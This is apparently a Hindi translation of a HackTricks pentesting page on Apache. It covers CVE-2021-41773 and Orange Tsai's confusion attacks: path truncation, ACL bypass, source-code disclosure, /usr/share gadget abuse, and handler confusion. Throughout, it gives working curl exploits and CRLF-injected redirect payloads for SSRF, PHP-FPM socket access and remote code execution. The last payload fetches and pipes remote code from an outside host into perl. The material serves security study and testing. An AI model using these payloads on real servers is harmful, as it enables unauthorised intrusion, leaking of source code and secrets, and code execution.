Hindi - Ht

Apache

Support HackTricks

Executable PHP extensions

चेक करें कि कौन सी एक्सटेंशन Apache सर्वर को निष्पादित कर रही है। उन्हें खोजने के लिए आप निष्पादित कर सकते हैं:

grep -R -B1 "httpd-php" /etc/apache2

इसके अलावा, कुछ स्थान जहाँ आप इस कॉन्फ़िगरेशन को पा सकते हैं:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

इन प्रकार के हमलों को Orange द्वारा इस ब्लॉग पोस्ट में पेश किया गया है और निम्नलिखित एक सारांश है। "confusion" हमला मूल रूप से इस बात का लाभ उठाता है कि कई मॉड्यूल जो एक साथ काम करते हैं, Apache बनाने के लिए, पूरी तरह से समन्वयित नहीं होते हैं और उनमें से कुछ द्वारा कुछ अप्रत्याशित डेटा को संशोधित करने से बाद के मॉड्यूल में एक भेद्यता उत्पन्न हो सकती है।

Filename Confusion

Truncation

mod_rewrite r->filename की सामग्री को ? के बाद ट्रिम करेगा (modules/mappers/mod_rewrite.c#L4141). यह पूरी तरह से गलत नहीं है क्योंकि अधिकांश मॉड्यूल r->filename को एक URL के रूप में मानते हैं। लेकिन अन्य अवसरों पर इसे फ़ाइल पथ के रूप में माना जाएगा, जो एक समस्या उत्पन्न करेगा।

  • Path Truncation

mod_rewrite का दुरुपयोग करना संभव है जैसे कि निम्नलिखित नियम उदाहरण में फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँचने के लिए, अपेक्षित पथ के अंतिम भाग को हटाकर बस एक ? जोड़ना:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

  • गलत दिशा में RewriteFlag असाइनमेंट

निम्नलिखित री-राइट नियम में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि ? चर के बाद .php पर समाप्त होने वाला एक URL भेजा जाए जबकि पथ में एक अलग प्रकार की फ़ाइल (जैसे कि एक छवि) को लोड किया जाए जिसमें दुर्भावनापूर्ण php कोड हो:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

यह संभव है कि उपयोगकर्ता उन फ़ाइलों तक पहुँच सके जिन्हें उसे पहुँचने की अनुमति नहीं होनी चाहिए, भले ही पहुँच को इन कॉन्फ़िगरेशन के साथ अस्वीकृत किया जाना चाहिए:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

यह इस कारण है कि डिफ़ॉल्ट रूप से PHP-FPM उन URL को प्राप्त करेगा जो .php पर समाप्त होते हैं, जैसे http://server/admin.php%3Fooo.php और क्योंकि PHP-FPM ? के बाद की किसी भी चीज़ को हटा देगा, पूर्व का URL /admin.php को लोड करने की अनुमति देगा, भले ही पूर्व का नियम इसे प्रतिबंधित करता हो।

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

एक मजेदार तथ्य यह है कि Apache का पिछला पुनर्लेखन फ़ाइल को documentRoot और root दोनों से एक्सेस करने की कोशिश करेगा। इसलिए, https://server/abouth.html के लिए एक अनुरोध फ़ाइल को फ़ाइल सिस्टम में /var/www/html/about.html और /about.html में चेक करेगा। जिसे मूल रूप से फ़ाइल सिस्टम में फ़ाइलों को एक्सेस करने के लिए दुरुपयोग किया जा सकता है।

सर्वर-साइड स्रोत कोड का खुलासा

  • CGI स्रोत कोड का खुलासा करें

केवल अंत में %3F जोड़ना cgi मॉड्यूल के स्रोत कोड को लीक करने के लिए पर्याप्त है:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

  • PHP स्रोत कोड का खुलासा करें

यदि एक सर्वर में विभिन्न डोमेन हैं, जिनमें से एक स्थिर डोमेन है, तो इसका दुरुपयोग करके फ़ाइल प्रणाली को पार किया जा सकता है और php कोड लीक किया जा सकता है:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

स्थानीय गैजेट्स हेरफेर

पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइल सिस्टम पर अधिकांश पहुँच को अस्वीकृत कर दिया जाएगा जैसा कि Apache HTTP Server के कॉन्फ़िगरेशन टेम्पलेट में है:

<Directory />
AllowOverride None
Require all denied
</Directory>

हालांकि, Debian/Ubuntu ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से /usr/share की अनुमति देते हैं:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Therefore, it would be possible to फाइलों का दुरुपयोग करना /usr/share में इन वितरणों के अंदर।

स्थानीय गैजेट से जानकारी का खुलासा

  • Apache HTTP Server के साथ websocketd dump-env.php स्क्रिप्ट को /usr/share/doc/websocketd/examples/php/ पर उजागर कर सकता है, जो संवेदनशील वातावरण चर लीक कर सकता है।

  • Nginx या Jetty वाले सर्वर अपने डिफ़ॉल्ट वेब रूट के माध्यम से संवेदनशील वेब एप्लिकेशन जानकारी (जैसे, web.xml) उजागर कर सकते हैं जो /usr/share के तहत रखे गए हैं:

  • /usr/share/nginx/html/

  • /usr/share/jetty9/etc/

  • /usr/share/jetty9/webapps/

स्थानीय गैजेट से XSS

  • LibreOffice स्थापित Ubuntu डेस्कटॉप पर, सहायता फ़ाइलों की भाषा स्विच सुविधा का दुरुपयोग Cross-Site Scripting (XSS) का कारण बन सकता है। /usr/share/libreoffice/help/help.html पर URL को बदलने से दुर्भावनापूर्ण पृष्ठों या पुराने संस्करणों पर पुनर्निर्देशित किया जा सकता है unsafe RewriteRule के माध्यम से।

स्थानीय गैजेट से LFI

  • यदि PHP या कुछ फ्रंट-एंड पैकेज जैसे JpGraph या jQuery-jFeed स्थापित हैं, तो उनकी फ़ाइलों का दुरुपयोग संवेदनशील फ़ाइलों को पढ़ने के लिए किया जा सकता है जैसे /etc/passwd:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php

  • /usr/share/javascript/jquery-jfeed/proxy.php

  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

स्थानीय गैजेट से SSRF

  • MagpieRSS's magpie_debug.php का उपयोग करते हुए /usr/share/php/magpierss/scripts/magpie_debug.php पर, एक SSRF भेद्यता आसानी से बनाई जा सकती है, जो आगे के शोषण के लिए एक गेटवे प्रदान करती है।

स्थानीय गैजेट से RCE

  • Remote Code Execution (RCE) के लिए अवसर विशाल हैं, जैसे कि एक पुराना PHPUnit या phpLiteAdmin। इनका दुरुपयोग मनमाने कोड को निष्पादित करने के लिए किया जा सकता है, जो स्थानीय गैजेट्स के हेरफेर की व्यापक संभावनाओं को प्रदर्शित करता है।

स्थानीय गैजेट्स से जेलब्रेक

यह भी संभव है कि अनुमति प्राप्त फ़ोल्डरों से जेलब्रेक किया जाए, उन फ़ोल्डरों में स्थापित सॉफ़्टवेयर द्वारा उत्पन्न सिमलिंक का पालन करके, जैसे:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/

  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data

  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/

  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/

  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

इसके अलावा, सिमलिंक का दुरुपयोग करते हुए Redmine में RCE प्राप्त करना संभव था।

हैंडलर भ्रम

यह हमला AddHandler और AddType निर्देशों के बीच कार्यक्षमता के ओवरलैप का लाभ उठाता है, जिन्हें PHP प्रोसेसिंग सक्षम करने के लिए उपयोग किया जा सकता है। मूल रूप से, ये निर्देश सर्वर की आंतरिक संरचना में विभिन्न क्षेत्रों (r->handler और r->content_type क्रमशः) को प्रभावित करते थे। हालाँकि, विरासत कोड के कारण, Apache इन निर्देशों को कुछ स्थितियों के तहत परस्पर संभालता है, यदि पूर्व निर्धारित है और बाद वाला नहीं है तो r->content_type को r->handler में परिवर्तित करता है।

इसके अलावा, Apache HTTP Server (server/config.c#L420) में, यदि r->handler ap_run_handler() को निष्पादित करने से पहले खाली है, तो सर्वर r->content_type को हैंडलर के रूप में उपयोग करता है, प्रभावी रूप से AddType और AddHandler को प्रभाव में समान बना देता है।

PHP स्रोत कोड का खुलासा करने के लिए हैंडलर को ओवरराइट करें

इस वार्ता में एक भेद्यता प्रस्तुत की गई थी जहां एक गलत Content-Length जो क्लाइंट द्वारा भेजा गया था, Apache को गलती से PHP स्रोत कोड लौटाने का कारण बन सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ एक त्रुटि हैंडलिंग समस्या के कारण था, जहां एक डबल प्रतिक्रिया r->content_type को text/html पर ओवरराइट करने का कारण बनती है। क्योंकि ModSecurity सही तरीके से लौटाए गए मानों को संभाल नहीं करता है, यह PHP कोड लौटाएगा और इसे व्याख्या नहीं करेगा।

XXXX के लिए हैंडलर को ओवरराइट करें

TODO: Orange ने अभी तक इस भेद्यता का खुलासा नहीं किया है

मनमाने हैंडलर्स को सक्रिय करें

यदि एक हमलावर सर्वर प्रतिक्रिया में Content-Type हेडर को नियंत्रित करने में सक्षम है, तो वह मनमाने मॉड्यूल हैंडलर्स को सक्रिय करने में सक्षम होगा। हालाँकि, जब हमलावर इसे नियंत्रित करता है, तो अधिकांश अनुरोध की प्रक्रिया पूरी हो चुकी होगी। हालाँकि, यह संभव है कि Location हेडर का दुरुपयोग करके अनुरोध प्रक्रिया को फिर से शुरू किया जाए क्योंकि यदि r द्वारा लौटाया गया Status 200 है और Location हेडर / से शुरू होता है, तो प्रतिक्रिया को सर्वर-साइड रीडायरेक्शन के रूप में माना जाता है और इसे संसाधित किया जाना चाहिए।

RFC 3875 (CGI के बारे में विनिर्देश) के अनुसार धारा 6.2.2 एक स्थानीय रीडायरेक्ट प्रतिक्रिया व्यवहार को परिभाषित करता है:

CGI स्क्रिप्ट एक स्थान हेडर फ़ील्ड में एक URI पथ और क्वेरी-स्ट्रींग (‘local-pathquery’) लौटा सकती है। यह सर्वर को यह संकेत देता है कि इसे निर्दिष्ट पथ का उपयोग करके अनुरोध को फिर से संसाधित करना चाहिए।

इसलिए, इस हमले को करने के लिए निम्नलिखित में से एक भेद्यता की आवश्यकता है:

  • CGI प्रतिक्रिया हेडर में CRLF इंजेक्शन

  • प्रतिक्रिया हेडर के पूर्ण नियंत्रण के साथ SSRF

जानकारी के खुलासे के लिए मनमाना हैंडलर

उदाहरण के लिए /server-status केवल स्थानीय रूप से सुलभ होना चाहिए:

<Location /server-status>
SetHandler server-status
Require local
</Location>

यह संभव है कि Content-Type को server-status पर सेट करके और Location हेडर को / से शुरू करके इसे एक्सेस किया जा सके।

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

मनमाने हैंडलर से पूर्ण SSRF

किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए mod_proxy पर रीडायरेक्ट करना:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

हालांकि, X-Forwarded-For हेडर जोड़ा गया है जो क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुंच को रोकता है।

स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंच के लिए मनमाना हैंडलर

PHP-FPM के स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंच प्राप्त करें ताकि /tmp/ में स्थित PHP बैकडोर को निष्पादित किया जा सके:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

मनमाने हैंडलर से RCE

आधिकारिक PHP Docker इमेज में PEAR (Pearcmd.php) शामिल है, जो एक कमांड-लाइन PHP पैकेज प्रबंधन उपकरण है, जिसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.

References

HackTricks का समर्थन करें
PreviousAngularNextArtifactory Hacking guide

Last updated